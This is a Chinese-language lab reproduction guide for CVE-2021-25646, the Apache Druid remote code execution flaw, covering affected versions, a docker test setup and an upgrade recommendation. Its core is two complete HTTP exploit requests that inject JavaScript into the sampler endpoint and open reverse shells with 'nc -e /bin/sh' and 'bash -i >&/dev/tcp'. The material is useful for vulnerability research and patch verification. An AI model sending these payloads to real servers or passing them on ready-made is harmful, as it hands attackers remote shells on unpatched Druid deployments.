怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现

怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现，针对这个问题，这篇文章详细介绍了相对应的分析和解答，希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

一、漏洞概要

Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。

Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。

二、影响范围

影响版本： Apache Druid < 0.20.1

安全版本： Apache Druid 0.20.1

三、环境搭建

https://github.com/apache/druid/

https://druid.apache.org/docs/latest/tutorials/index.html

下载0.19版本

https://github.com/apache/druid/releases/tag/druid-0.19.0

解压

cd druid-druid-0.19.0-rc1\distribution\docker

docker-compose up -d

打开 http://192.168.123.10:8888

四、漏洞复现

Poc1：通用

POST /druid/indexer/v1/sampler HTTP/1.1Host: 192.168.123.10:8888Accept: application/json, text/plain, */*DNT: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Referer: http://192.168.123.10:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Type: application/jsonConnection: closeContent-Length: 1007{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.123.10 5555 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

注意：因为是docker环境没有bash，这里直接采用nc -e反弹

Poc2：通用

POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1Host: 0.0.0.0:8888Content-Length: 1005Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36DNT: 1Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",                                        "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/0.0.0.0/5555 0>&1')}",                                        "dimension": "added",                                        "": {                                                "enabled": "true"                                        }                                }                        }  },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}

五、修复建议

升级至安全版本及其以上。

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